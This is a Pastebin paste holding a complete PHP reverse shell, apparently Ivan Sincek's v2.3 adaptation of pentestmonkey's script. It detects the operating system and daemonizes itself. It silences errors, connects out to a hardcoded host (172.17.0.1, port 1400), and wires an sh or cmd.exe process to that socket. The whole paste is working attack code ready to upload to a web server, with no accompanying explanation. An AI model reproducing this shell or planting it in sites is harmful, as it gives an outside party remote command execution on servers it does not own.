Advertisement
Guest User

Rev

a guest
Jan 24th, 2023
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.24 KB | None | 0 0
  1. <?php
  2. // Copyright (c) 2020 Ivan Sincek
  3. // v2.3
  4. // Requires PHP v5.0.0 or greater.
  5. // Works on Linux OS, macOS, and Windows OS.
  6. // See the original script at https://github.com/pentestmonkey/php-reverse-shell.
  7. class Shell {
  8.     private $addr  = null;
  9.     private $port  = null;
  10.     private $os    = null;
  11.     private $shell = null;
  12.     private $descriptorspec = array(
  13.         0 => array('pipe', 'r'), // shell can read from STDIN
  14.         1 => array('pipe', 'w'), // shell can write to STDOUT
  15.         2 => array('pipe', 'w')  // shell can write to STDERR
  16.     );
  17.     private $buffer  = 1024;    // read/write buffer size
  18.     private $clen    = 0;       // command length
  19.     private $error   = false;   // stream read/write error
  20.     public function __construct($addr, $port) {
  21.         $this->addr = $addr;
  22.         $this->port = $port;
  23.     }
  24.     private function detect() {
  25.         $detected = true;
  26.         if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
  27.             $this->os    = 'LINUX';
  28.             $this->shell = 'sh';
  29.         } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
  30.             $this->os    = 'WINDOWS';
  31.             $this->shell = 'cmd.exe';
  32.         } else {
  33.             $detected = false;
  34.             echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
  35.         }
  36.         return $detected;
  37.     }
  38.     private function daemonize() {
  39.         $exit = false;
  40.         if (!function_exists('pcntl_fork')) {
  41.             echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
  42.         } else if (($pid = @pcntl_fork()) < 0) {
  43.             echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
  44.         } else if ($pid > 0) {
  45.             $exit = true;
  46.             echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
  47.         } else if (posix_setsid() < 0) {
  48.             // once daemonized you will actually no longer see the script's dump
  49.             echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
  50.         } else {
  51.             echo "DAEMONIZE: Completed successfully!\n";
  52.         }
  53.         return $exit;
  54.     }
  55.     private function settings() {
  56.         @error_reporting(0);
  57.         @set_time_limit(0); // do not impose the script execution time limit
  58.         @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
  59.     }
  60.     private function dump($data) {
  61.         $data = str_replace('<', '&lt;', $data);
  62.         $data = str_replace('>', '&gt;', $data);
  63.         echo $data;
  64.     }
  65.     private function read($stream, $name, $buffer) {
  66.         if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
  67.             $this->error = true;                            // set global error flag
  68.             echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
  69.         }
  70.         return $data;
  71.     }
  72.     private function write($stream, $name, $data) {
  73.         if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
  74.             $this->error = true;                            // set global error flag
  75.             echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
  76.         }
  77.         return $bytes;
  78.     }
  79.     // read/write method for non-blocking streams
  80.     private function rw($input, $output, $iname, $oname) {
  81.         while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
  82.             if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
  83.             $this->dump($data); // script's dump
  84.         }
  85.     }
  86.     // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
  87.     // we must read the exact byte length from a stream and not a single byte more
  88.     private function brw($input, $output, $iname, $oname) {
  89.         $fstat = fstat($input);
  90.         $size = $fstat['size'];
  91.         if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
  92.             // for some reason Windows OS pipes STDIN into STDOUT
  93.             // we do not like that
  94.             // we need to discard the data from the stream
  95.             while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
  96.                 $this->clen -= $bytes;
  97.                 $size -= $bytes;
  98.             }
  99.         }
  100.         while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
  101.             $size -= $bytes;
  102.             $this->dump($data); // script's dump
  103.         }
  104.     }
  105.     public function run() {
  106.         if ($this->detect() && !$this->daemonize()) {
  107.             $this->settings();
  108.  
  109.             // ----- SOCKET BEGIN -----
  110.             $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
  111.             if (!$socket) {
  112.                 echo "SOC_ERROR: {$errno}: {$errstr}\n";
  113.             } else {
  114.                 stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
  115.  
  116.                 // ----- SHELL BEGIN -----
  117.                 $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
  118.                 if (!$process) {
  119.                     echo "PROC_ERROR: Cannot start the shell\n";
  120.                 } else {
  121.                     foreach ($pipes as $pipe) {
  122.                         stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
  123.                     }
  124.  
  125.                     // ----- WORK BEGIN -----
  126.                     $status = proc_get_status($process);
  127.                     @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
  128.                     do {
  129.                         $status = proc_get_status($process);
  130.                         if (feof($socket)) { // check for end-of-file on SOCKET
  131.                             echo "SOC_ERROR: Shell connection has been terminated\n"; break;
  132.                         } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
  133.                             echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
  134.                         }                                                                    // use proc_get_status() instead
  135.                         $streams = array(
  136.                             'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
  137.                             'write'  => null,
  138.                             'except' => null
  139.                         );
  140.                         $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
  141.                         if ($num_changed_streams === false) {
  142.                             echo "STRM_ERROR: stream_select() failed\n"; break;
  143.                         } else if ($num_changed_streams > 0) {
  144.                             if ($this->os === 'LINUX') {
  145.                                 if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
  146.                                 if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
  147.                                 if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
  148.                             } else if ($this->os === 'WINDOWS') {
  149.                                 // order is important
  150.                                 if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
  151.                                 if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
  152.                                 if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
  153.                             }
  154.                         }
  155.                     } while (!$this->error);
  156.                     // ------ WORK END ------
  157.  
  158.                     foreach ($pipes as $pipe) {
  159.                         fclose($pipe);
  160.                     }
  161.                     proc_close($process);
  162.                 }
  163.                 // ------ SHELL END ------
  164.  
  165.                 fclose($socket);
  166.             }
  167.             // ------ SOCKET END ------
  168.  
  169.         }
  170.     }
  171. }
  172. echo '<pre>';
  173. // change the host address and/or port number as necessary
  174. $sh = new Shell('172.17.0.1', 1400);
  175. $sh->run();
  176. unset($sh);
  177. // garbage collector requires PHP v5.3.0 or greater
  178. // @gc_collect_cycles();
  179. echo '</pre>';
  180. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement